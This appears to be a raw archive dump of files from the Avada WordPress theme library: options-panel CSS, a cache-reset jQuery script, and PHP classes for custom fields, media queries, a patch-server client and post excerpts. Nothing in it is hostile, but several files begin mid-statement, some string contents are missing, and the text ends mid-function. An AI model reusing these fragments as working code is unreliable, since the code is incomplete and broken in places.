(max-width: 600px) { .fusionredux-container #fusionredux-form-wrapper .fusionredux-main { margin-left: 43px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-color-result:after { padding: 0 14px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider .fusionredux-slider-input { margin-left: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider .fusionredux-slider-container { display: block; margin: 10px 0; text-align: left; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar { width: 44px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-tab-link-a i { top: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover .subsection { display: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li a { padding: 10px 4px 10px 14px; width: auto; } } /* RTL */ .rtl .fusionredux-container #fusionredux-form-wrapper .form-table th .fusionredux_field_th { padding: 25px 0 25px 60px !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main { margin-left: 0; margin-right: 250px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .sticky-save-warn .fusionredux-save-warn { right: 433px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] .fusionredux_field_th { padding-left: 60px !important; padding-right: 0 !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] ul.fusionredux-image-select li { float: left; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-accordion-field .fusionredux-accordion-info .el { float: left; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider { float: none; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider .fusionredux-slider-container { height: 1px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider .fusionredux-slider-container .noUi-origin { top: -1px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider .fusionredux-slider-input { float: right; margin-left: 25px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-text input { padding-right: 0.75em; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(2), .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(3), .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(4), .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(5), .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(6) { float: right; clear: right; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] fieldset.fusionredux-container-media input[type="text"] { float: right; margin-left: 10px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.media_upload_button:before, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.remove-image:before { position: absolute; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-repeater .fusionredux-repeaters-add, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-repeater .fusionredux-repeaters-remove { float: left; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .control-panel-fusionredux .ui-accordion .ui-accordion-header .ui-icon, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .control-section-fusionredux .ui-accordion .ui-accordion-header .ui-icon, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-metabox .ui-accordion .ui-accordion-header .ui-icon, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-accordion .ui-accordion-header .ui-icon { left: auto; right: 0.5em; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-typography-container .input_wrapper { float: right; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-typography-container label { text-align: unset; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice > .select3-chosen { margin-left: 35px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-arrow { border-left: none; border-right: 1px solid rgba(0, 0, 0, 0.05); } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-buttonset .ui-button { border-right: 1px solid; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-append .add-on, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-prepend .add-on { float: right; border-style: solid solid solid none !important; border-width: 1px 1px 1px medium !important; border-color: rgba(0, 0, 0, 0.1) !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .input-prepend input { float: right; margin-left: 1px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-append .add-on, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-prepend .add-on { float: right; border-style: solid solid solid none !important; border-width: 1px 1px 1px medium !important; border-color: rgba(0, 0, 0, 0.1) !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .input-prepend input { float: right; margin-left: 1px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li.active > a:after, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li.fusion-section-hover > a:after, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild > a:after { left: 0; right: auto; border-color: transparent transparent transparent #fff; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li a { padding: 8px 25px 8px 4px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover .subsection { left: auto; right: 250px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusionredux-sticky #info_bar { padding: 20px 50px 20px 121px; border-bottom: 1px solid #dfdfdf; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusion-support-links { left: 0; right: auto; border-right: 1px solid #dfdfdf; border-left: none; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusion-support-links a span.dashicons { margin-left: 6px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusion-edit-on-front-end { float: right; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux_field_search { left: auto; right: 200px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .switch-options { margin-left: 10px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .input_wrapper, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .ui-buttonset { margin-left: 7px; margin-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .select_wrapper { margin-left: 10px !important; margin-right: 0 !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .input-prepend { margin-left: 7px !important; margin-right: 0 !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .fusionredux-image-select li { padding-left: 5px; padding-right: 0; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .field-border_radius-input.input-prepend, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-field-container .field-spacing-input.input-prepend { width: calc(45% - 5px); } .rtl .fusionredux-container .fusionredux-action_bar .spinner { float: right; } .field-border_radius-input .el.icon-large, #fusion_options-boxed_radius .el.icon-large { transform: rotate(-50deg); } .fusionredux-main .fusionredux-element-highlight { display: inline-block; position: absolute; top: 50%; right: 50px; transform: translateY(-50%); padding: 3px 10px; color: #fff; font-size: 10px; background-color: $color_accent_1; border-radius: 4px; font-weight: bold; } .fusionredux-main .fusionredux-element-highlight .fusionredux-accordion-field .fusionredux-element-highlight { top: calc(50% - 12px); right: 70px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button .wp-color-result-text { height: 100%; line-height: 30px; background: #ffffff; border-left-color: #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography_sets .awb-typography .fusion-select-field:not(.fusion-form-multiple-select) .fusion-select-preview-wrap, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .awb-typography .fusion-select-field:not(.fusion-form-multiple-select) .fusion-select-preview-wrap { max-width: 375px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-active .wp-picker-input-wrap label { padding-right: 15px; margin-top: 0 !important; } .fusion-colorpicker-legacy .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-active .wp-picker-input-wrap { padding-left: 10px; width: 190px; } .fusion-colorpicker-legacy .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-active .wp-picker-input-wrap input[type="text"] { height: 32px; } .fusion-colorpicker-legacy .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-picker-input-wrap input[type="text"] { height: 32px; } .fusion-colorpicker-legacy .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-picker-container .wp-color-result { height: 31px; } .fusion-colorpicker-legacy .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-picker-container .wp-color-result:after { height: 31px; line-height: 30.5px; border-radius: 0; } .fusion-colorpicker-legacy .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap { width: 240px; } .fusion-colorpicker-legacy .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap input[type="text"] { height: 32px; } .awb-adobe-fonts-info-wrapper { margin-bottom: 25px; } .awb-adobe-fonts-info-wrapper > p:first-child { margin-top: 0; margin-bottom: 20px; } .appearance_page_avada_options #wpbody-content > .notice { display: none; } Avada/includes/lib/inc/redux/assets/fusion-reset-caches.js000064400000006272152342437710017562 0ustar00/* global fusionReduxResetCaches */ function fusionResetCaches( e ) { // jshint ignore:line var data = { action: 'fusion_reset_all_caches', nonce: jQuery( '#fusionredux-form-wrapper' ).data( 'nonce' ) }, $el = jQuery( e.target ).closest( '.fusion_options' ), confirm = window.confirm( fusionReduxResetCaches.general.confirm ); e.preventDefault(); if ( true === confirm ) { $el.find( '.spinner.fusion-spinner' ).addClass( 'is-active' ); jQuery.post( fusionReduxResetCaches.ajaxurl, data, function() { $el.find( '.spinner.fusion-spinner' ).removeClass( 'is-active' ); alert( fusionReduxResetCaches.general.success ); // jshint ignore: line } ); } } function fusionResetMailchimpCache( e ) { // jshint ignore:line var data = { action: 'fusion_reset_mailchimp_caches', nonce: jQuery( '#fusionredux-form-wrapper' ).data( 'nonce' ) }, $el = jQuery( e.target ).closest( '.fusion_options' ), confirm = window.confirm( fusionReduxResetCaches.mailchimp.confirm ); e.preventDefault(); if ( true === confirm ) { $el.find( '.spinner.fusion-spinner' ).addClass( 'is-active' ); jQuery.post( fusionReduxResetCaches.ajaxurl, data, function() { $el.find( '.spinner.fusion-spinner' ).removeClass( 'is-active' ); alert( fusionReduxResetCaches.mailchimp.success ); // jshint ignore: line } ); } } function fusionResetHubSpotCache( e ) { // jshint ignore:line var data = { action: 'fusion_reset_hubspot_caches', nonce: jQuery( '#fusionredux-form-wrapper' ).data( 'nonce' ) }, $el = jQuery( e.target ).closest( '.fusion_options' ), confirm = window.confirm( fusionReduxResetCaches.hubspot.confirm ); e.preventDefault(); if ( true === confirm ) { $el.find( '.spinner.fusion-spinner' ).addClass( 'is-active' ); jQuery.post( fusionReduxResetCaches.ajaxurl, data, function() { $el.find( '.spinner.fusion-spinner' ).removeClass( 'is-active' ); alert( fusionReduxResetCaches.hubspot.success ); // jshint ignore: line } ); } } function fusionResetInstagramCache( e ) { // jshint ignore:line var data = { action: 'fusion_reset_instagram_caches', nonce: jQuery( '#fusionredux-form-wrapper' ).data( 'nonce' ) }, $el = jQuery( e.target ).closest( '.fusion_options' ), confirm = window.confirm( fusionReduxResetCaches.instagram.confirm ); e.preventDefault(); if ( true === confirm ) { $el.find( '.spinner.fusion-spinner' ).addClass( 'is-active' ); jQuery.post( fusionReduxResetCaches.ajaxurl, data, function() { $el.find( '.spinner.fusion-spinner' ).removeClass( 'is-active' ); alert( fusionReduxResetCaches.instagram.success ); // jshint ignore: line } ); } } function fusionResetAdobeFontsCache( e ) { // jshint ignore:line var data = { action: 'fusion_reset_avada_fonts_cache' }, $el = jQuery( e.target ).closest( '.fusion_options' ), confirm = window.confirm( fusionReduxResetCaches.adobe.confirm ); e.preventDefault(); if ( true === confirm ) { $el.find( '.spinner.fusion-spinner' ).addClass( 'is-active' ); jQuery.post( fusionReduxResetCaches.ajaxurl, data, function() { $el.find( '.spinner.fusion-spinner' ).removeClass( 'is-active' ); alert( fusionReduxResetCaches.adobe.success ); // jshint ignore: line } ); } } Avada/includes/lib/inc/redux/assets/themefusion_logo_white.svg000064400000006710152342437710020641 0ustar00 Avada/includes/lib/inc/redux/class-fusion-redux-addons.php000064400000007534152342437710017567 0ustar00option_name = $option_name; // An array of all the custom fields we have. $this->field_types = [ 'typography', 'color_alpha', 'spacing', 'dimensions', 'border_radius', 'ace_editor', 'sortable', 'color_palette', 'iconpicker', 'typography_sets', ]; // An array of all our extensions. $this->extensions = [ 'search', 'accordion', 'vendorsupport', 'repeater', ]; $this->path = dirname( __FILE__ ); foreach ( $this->field_types as $field_type ) { add_action( 'fusionredux/' . $this->option_name . '/field/class/' . $field_type, [ $this, 'register_' . $field_type ] ); } foreach ( $this->extensions as $extension ) { if ( class_exists( 'FusionRedux' ) ) { FusionRedux::setExtensions( $this->option_name, $this->path . '/extensions/' . $extension . '/extension_' . $extension . '.php' ); } } } /** * Register the custom typography field * * @access public * @since 1.0.0 */ public function register_typography() { return $this->path . '/custom-fields/typography/field_typography.php'; } /** * Register the custom ace_editor field * * @access public * @since 1.0.0 */ public function register_ace_editor() { return $this->path . '/custom-fields/ace_editor/field_ace_editor.php'; } /** * Register the custom color_alpha field * * @access public * @since 1.0.0 */ public function register_color_alpha() { return $this->path . '/custom-fields/color_alpha/field_color_alpha.php'; } /** * Register the custom spacing field * * @access public * @since 1.0.0 */ public function register_spacing() { return $this->path . '/custom-fields/spacing/field_spacing.php'; } /** * Register the custom spacing field * * @access public * @since 1.0.0 */ public function register_border_radius() { return $this->path . '/custom-fields/spacing/field_border_radius.php'; } /** * Register the custom dimensions field * * @access public * @since 1.0.0 */ public function register_dimensions() { return $this->path . '/custom-fields/dimensions/field_dimensions.php'; } /** * Register the custom sortable field * * @access public * @since 2.0 */ public function register_sortable() { return $this->path . '/custom-fields/sortable/field_sortable.php'; } /** * Register the custom color pallete field * * @access public * @since 2.0 */ public function register_color_palette() { return $this->path . '/custom-fields/color_palette/field_color_palette.php'; } /** * Register the custom color pallete field * * @access public * @since 2.0 */ public function register_typography_sets() { return $this->path . '/custom-fields/typography_sets/field_typography_sets.php'; } /** * Register the custom color pallete field * * @access public * @since 3.4 */ public function register_iconpicker() { return $this->path . '/custom-fields/iconpicker/field_iconpicker.php'; } } Avada/includes/lib/inc/class-fusion-media-query-scripts.php000064400000030652152342437710017747 0ustar00get( 'media_queries_async' ) ) { return $styles; } foreach ( self::$media_query_assets as $asset ) { // The file-path. if ( filter_var( $asset[1], FILTER_VALIDATE_URL ) ) { $path = ( defined( 'FUSION_BUILDER_PLUGIN_URL' ) && defined( 'FUSION_BUILDER_PLUGIN_DIR' ) && false !== strpos( $asset[1], FUSION_BUILDER_PLUGIN_URL ) ) ? str_replace( FUSION_BUILDER_PLUGIN_URL, FUSION_BUILDER_PLUGIN_DIR, $asset[1] ) : str_replace( get_template_directory_uri(), get_template_directory(), $asset[1] ); } else { $path = $asset[1]; } $path = wp_normalize_path( $path ); // Add the contents of the file to $styles. $styles .= '@media ' . $asset[4] . '{'; if ( file_exists( $path ) ) { $styles .= fusion_file_get_contents( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents } $styles .= '}'; } return $styles; } /** * Enqueues media-query styles if needed. * This is a proxy for enqueue_media_query_styles() * enqueueing styles just in time * depending on whether we're deferring stylesheets to the footer or not. * * @access public * @since 5.6 * @return void */ public function maybe_defer_enqueue_media_query_styles() { $defer = fusion_should_defer_styles_loading(); if ( $defer ) { add_action( 'wp_body_open', [ $this, 'enqueue_media_query_styles' ], 21 ); return; } $this->enqueue_media_query_styles(); } /** * Enqueues media-query styles if needed. * * @access public * @since 5.6 * @return void */ public function enqueue_media_query_styles() { // No reason to proceed any further if we're including the files inside the compiler. if ( '0' === Fusion_Settings::get_instance()->get( 'media_queries_async' ) ) { return; } $template_dir = get_template_directory(); $template_uri = get_template_directory_uri(); $stylesheet_dir = get_stylesheet_directory(); $stylesheet_uri = get_stylesheet_directory_uri(); foreach ( self::$media_query_assets as $asset ) { $path = false; $url = false; if ( false !== strpos( $asset[1], $stylesheet_dir ) ) { // FIle is in the child theme - or parent theme if no child theme exists. $path = $asset[1]; $url = str_replace( $stylesheet_dir, $stylesheet_uri, $asset[1] ); } elseif ( false !== strpos( $asset[1], $stylesheet_uri ) ) { // FIle is in the child theme - or parent theme if no child theme exists. $url = $asset[1]; $path = str_replace( $stylesheet_uri, $stylesheet_dir, $asset[1] ); } elseif ( false !== strpos( $asset[1], $template_dir ) ) { // FIle is in the parent theme. $path = $asset[1]; $url = str_replace( $template_dir, $template_uri, $asset[1] ); } elseif ( false !== strpos( $asset[1], $template_uri ) ) { // FIle is in the parent theme. $url = $asset[1]; $path = str_replace( $template_uri, $template_dir, $asset[1] ); } elseif ( false !== strpos( $asset[1], FUSION_BUILDER_PLUGIN_DIR ) ) { // File is in fusion-builder. $path = $asset[1]; $url = str_replace( FUSION_BUILDER_PLUGIN_DIR, FUSION_BUILDER_PLUGIN_URL, $asset[1] ); } elseif ( false !== strpos( $asset[1], FUSION_BUILDER_PLUGIN_URL ) ) { // File is in fusion-builder. $url = $asset[1]; $path = str_replace( FUSION_BUILDER_PLUGIN_URL, FUSION_BUILDER_PLUGIN_DIR, $asset[1] ); } // If the file exists, enqueue it. if ( $path && file_exists( wp_normalize_path( $path ) ) && $url ) { wp_enqueue_style( $asset[0], $url, $asset[2], $asset[3], $asset[4] ); } } } /** * Get a media-query using its key. * * @static` * @access public * @since 2.0 * @param string $key The media-query key. * @return string|null The media-query. Null if $key don't exist. */ public static function get_media_query_from_key( $key ) { // Get the side_header_breakpoint. $side_header_breakpoint = 800; if ( class_exists( 'Avada' ) ) { $side_header_breakpoint = fusion_library()->get_option( 'side_header_break_point' ); } if ( ! $side_header_breakpoint ) { $side_header_breakpoint = 800; } // Responsive mode. $side_header_width = 0; if ( class_exists( 'Avada' ) ) { $side_header_width = ( 'top' === fusion_library()->get_option( 'header_position' ) ) ? 0 : (int) fusion_library()->get_option( 'side_header_width' ); } // Grid System. $main_break_point = 1000; if ( class_exists( 'Avada' ) ) { $main_break_point = (int) fusion_library()->get_option( 'grid_main_break_point' ); } $breakpoint_range = ( 640 < $main_break_point ) ? $main_break_point - 640 : 360; // Get content_break_point. $content_break_point = 800; if ( class_exists( 'Avada' ) ) { $content_break_point = (int) fusion_library()->get_option( 'content_break_point' ); } // Get sidebar_break_point. $sidebar_break_point = (int) fusion_library()->get_option( 'sidebar_break_point' ); $visibility_small = (int) fusion_library()->get_option( 'visibility_small' ) . 'px'; $visibility_medium = (int) fusion_library()->get_option( 'visibility_medium' ) . 'px'; // Columns. $breakpoint_interval = (int) ( $breakpoint_range / 5 ); $six_columns_breakpoint = $main_break_point + $side_header_width; $five_columns_breakpoint = $six_columns_breakpoint - $breakpoint_interval; $four_columns_breakpoint = $five_columns_breakpoint - $breakpoint_interval; $three_columns_breakpoint = $four_columns_breakpoint - $breakpoint_interval; $two_columns_breakpoint = $three_columns_breakpoint - $breakpoint_interval; $one_column_breakpoint = $two_columns_breakpoint - $breakpoint_interval; switch ( $key ) { case 'fusion-max-main': return self::get_media_query( [ 'max-width' => $main_break_point . 'px', ] ); case 'fusion-max-cbp': return self::get_media_query( [ 'max-width' => $content_break_point . 'px', ] ); case 'fusion-min-cbp-max-main': return self::get_media_query( [ 'min-width' => $content_break_point . 'px', 'max-width' => $main_break_point . 'px', ] ); case 'fusion-max-1c': return self::get_media_query( [ 'max-width' => $one_column_breakpoint . 'px', ] ); case 'fusion-max-2c': return self::get_media_query( [ 'max-width' => $two_columns_breakpoint . 'px', ] ); case 'fusion-min-2c-max-3c': return self::get_media_query( [ 'min-width' => $two_columns_breakpoint . 'px', 'max-width' => $three_columns_breakpoint . 'px', ] ); case 'fusion-min-3c-max-4c': return self::get_media_query( [ 'min-width' => $three_columns_breakpoint . 'px', 'max-width' => $four_columns_breakpoint . 'px', ] ); case 'fusion-min-4c-max-5c': return self::get_media_query( [ 'min-width' => $four_columns_breakpoint . 'px', 'max-width' => $five_columns_breakpoint . 'px', ] ); case 'fusion-min-5c-max-6c': return self::get_media_query( [ 'min-width' => $five_columns_breakpoint . 'px', 'max-width' => $six_columns_breakpoint . 'px', ] ); case 'fusion-min-shbp': return self::get_media_query( [ 'min-width' => ( $side_header_breakpoint + 1 ) . 'px', ] ); case 'fusion-max-shbp': return self::get_media_query( [ 'max-width' => $side_header_breakpoint . 'px', ] ); case 'fusion-max-sh-shbp': return self::get_media_query( [ 'max-width' => ( $side_header_width + $side_header_breakpoint ) . 'px', ] ); case 'fusion-min-768-max-1024': return self::get_media_query( [ 'min-device-width' => '768px', 'max-device-width' => '1024px', ] ); case 'fusion-min-768-max-1024-p': return self::get_media_query( [ 'min-device-width' => '768px', 'max-device-width' => '1024px', 'orientation' => 'portrait', ] ); case 'fusion-min-768-max-1024-l': return self::get_media_query( [ 'min-device-width' => '768px', 'max-device-width' => '1024px', 'orientation' => 'landscape', ] ); case 'fusion-max-sh-cbp': return self::get_media_query( [ 'max-width' => ( $side_header_width + $content_break_point ) . 'px', ] ); case 'fusion-max-sh-sbp': return self::get_media_query( [ 'max-width' => ( $side_header_width + $sidebar_break_point ) . 'px', ] ); case 'fusion-max-sh-640': return self::get_media_query( [ 'max-width' => $side_header_width + 640 . 'px', ] ); case 'fusion-max-shbp-18': return self::get_media_query( [ 'max-width' => $side_header_breakpoint - 18 . 'px', ] ); case 'fusion-max-shbp-32': return self::get_media_query( [ 'max-width' => $side_header_breakpoint - 32 . 'px', ] ); case 'fusion-min-sh-cbp': return self::get_media_query( [ 'min-width' => ( $side_header_width + $content_break_point ) . 'px', ] ); case 'fusion-max-640': return self::get_media_query( [ 'max-device-width' => '640px', ] ); case 'fusion-max-768': return self::get_media_query( [ 'max-width' => '768px', ] ); case 'fusion-max-782': return self::get_media_query( [ 'max-width' => '782px', ] ); case 'fusion-min-never': return self::get_media_query( [ 'min-width' => '1px', ] ); case 'fusion-min-small': return self::get_media_query( [ 'min-width' => $visibility_small, ] ); case 'fusion-min-medium': return self::get_media_query( [ 'min-width' => $visibility_medium, ] ); case 'fusion-max-small': return self::get_media_query( [ 'max-width' => $visibility_small, ] ); case 'fusion-max-medium': return self::get_media_query( [ 'max-width' => $visibility_medium, ] ); } return null; } /** * Calculates media-queries. * * @static * @access public * @since 5.4 * @param array $args An array of arguments. * @param string $context Example: 'only screen'. * @param bool $add_media Whether we should prepend "@media" or not. * @return string */ public static function get_media_query( $args, $context = 'only screen', $add_media = false ) { $master_query_array = []; $query_array = [ $context ]; $query = ''; foreach ( $args as $what => $when ) { // If an array then we have multiple media-queries here // and we need to process each one separately. if ( is_array( $when ) ) { $query_array = [ $context ]; foreach ( $when as $sub_what => $sub_when ) { // Make sure pixels are integers. $sub_when = ( false !== strpos( $sub_when, 'px' ) && false === strpos( $sub_when, 'dppx' ) ) ? absint( $sub_when ) . 'px' : $sub_when; $query_array[] = "({$sub_what}: $sub_when)"; } $master_query_array[] = implode( ' and ', $query_array ); continue; } // Make sure pixels are integers. $when = ( false !== strpos( $when, 'px' ) && false === strpos( $when, 'dppx' ) ) ? absint( $when ) . 'px' : $when; $query_array[] = "({$what}: $when)"; } // If we've got multiple queries, then need to be separated using a comma. if ( ! empty( $master_query_array ) ) { $query = implode( ', ', $master_query_array ); } // If we don't have multiple queries we need to separate arguments with "and". $query = ( ! $query ) ? implode( ' and ', $query_array ) : $query; if ( $add_media ) { return '@media ' . $query; } return $query; } } Avada/includes/lib/inc/class-fusion-patcher-client.php000064400000011456152342437710016743 0ustar00args = $args; // Get the patches. if ( $client->get_cached() ) { self::$patches = $client->get_cached(); } else { self::$patches = $client->query_patch_server(); // Cache the patches. $client->cache_response(); } // Returns a formatted array of patches. return $client->prepare_patches(); } /** * Queries the patches server for a list of patches. * * @return bool|array */ private function query_patch_server() { $args = [ 'limit' => true, ]; if ( defined( 'AVADA_VERSION' ) ) { $args['avada_version'] = AVADA_VERSION; } if ( defined( 'FUSION_CORE_VERSION' ) ) { $args['fusion_core_version'] = FUSION_CORE_VERSION; } if ( defined( 'FUSION_BUILDER_VERSION' ) ) { $args['fusion_builder_version'] = FUSION_BUILDER_VERSION; } if ( defined( 'FUSION_WHITE_LABEL_BRANDING_VERSION' ) ) { $args['fusion_white_label_branding_version'] = FUSION_WHITE_LABEL_BRANDING_VERSION; } // Pass on reg data just in case. if ( class_exists( 'Avada' ) ) { if ( Avada()->registration->is_registered() ) { $args['code'] = Avada()->registration->get_purchase_code(); } elseif ( Avada()->registration->legacy_support() ) { $args['token'] = Avada()->registration->get_token(); } } // Bypass cache if forced. if ( isset( $_GET['reset_transient'] ) && '1' === $_GET['reset_transient'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $args['avada-api'] = 1; } // Build the remote server URL using the provided version. $url = add_query_arg( $args, self::$remote_patches_uri ); // Get the server response. $response = wp_remote_get( $url, [ 'user-agent' => 'fusion-patcher-client', ] ); // Return false if we couldn't get to the server. if ( is_wp_error( $response ) ) { /* translators: Update server url. */ new Fusion_Patcher_Admin_Notices( 'server-unreachable', sprintf( esc_html__( 'The ThemeFusion patches server could not be reached. Please contact your host to unblock the "%s" domain.', 'Avada' ), FUSION_UPDATES_URL ) ); return false; } // Return false if the response does not have a body. if ( ! isset( $response['body'] ) || 200 !== $response['response']['code'] ) { return false; } $json = $response['body']; // Response may have comments from caching plugins making it invalid. if ( false !== strpos( $response['body'], ' tag in the contents). // HTML tags should be stripped. if ( $strip_html ) { $content = wp_strip_all_tags( get_the_content( '{{read_more_placeholder}}' ), '

    ' ); // Strip out all attributes. $content = preg_replace( '/<(\w+)[^>]*>/', '<$1>', $content ); $content = str_replace( '{{read_more_placeholder}}', $read_more, $content ); } else { // HTML tags remain in excerpt. $content = get_the_content( $read_more ); } $pattern = get_shortcode_regex(); $content = preg_replace_callback( "/$pattern/s", 'fusion_extract_shortcode_contents', $content ); // tag is used in the post. if ( false !== strpos( $post->post_content, '' ) ) { $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); if ( $strip_html ) { $content = do_shortcode( $content ); } } } // Limit the contents to the $limit length. if ( ! has_excerpt( $post->ID ) || 'product' === $post->post_type ) { // Check if the excerpting should be char or word based. if ( 'characters' === fusion_get_option( 'excerpt_base' ) ) { $content = mb_substr( $content, 0, $limit ); $content .= $read_more; } else { // Excerpting is word based. $content = explode( ' ', $content, $limit + 1 ); if ( count( $content ) > $limit ) { array_pop( $content ); $content = implode( ' ', $content ); $content .= $read_more; } else { $content = implode( ' ', $content ); } } if ( $strip_html ) { $content = '

    ' . $content . '

    '; } else { $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); } $content = do_shortcode( $content ); } return fusion_force_balance_tags( $content ); } } if ( ! function_exists( 'fusion_get_content_stripped_and_excerpted' ) ) { /** * Get the content of the post, strip it and apply any changes required to the excerpt first. * * @since 2.1.1 * @param int $excerpt_length The length of our excerpt. * @param string $content The content. * @return string The stripped and excerpted content. */ function fusion_get_content_stripped_and_excerpted( $excerpt_length, $content ) { $pattern = get_shortcode_regex(); $content = preg_replace_callback( "/$pattern/s", 'fusion_extract_shortcode_contents', $content ); $content = explode( ' ', $content, $excerpt_length + 1 ); if ( $excerpt_length < count( $content ) ) { array_pop( $content ); } $content = implode( ' ', $content ); $content = preg_replace( '~(?:\[/?)[^/\]]+/?\]~s', '', $content ); // Strip shortcodes and keep the content. $content = str_replace( ']]>', ']]>', $content ); $content = strip_tags( $content ); // phpcs:ignore WordPress.WP.AlternativeFunctions.strip_tags_strip_tags $content = str_replace( [ '"', "'" 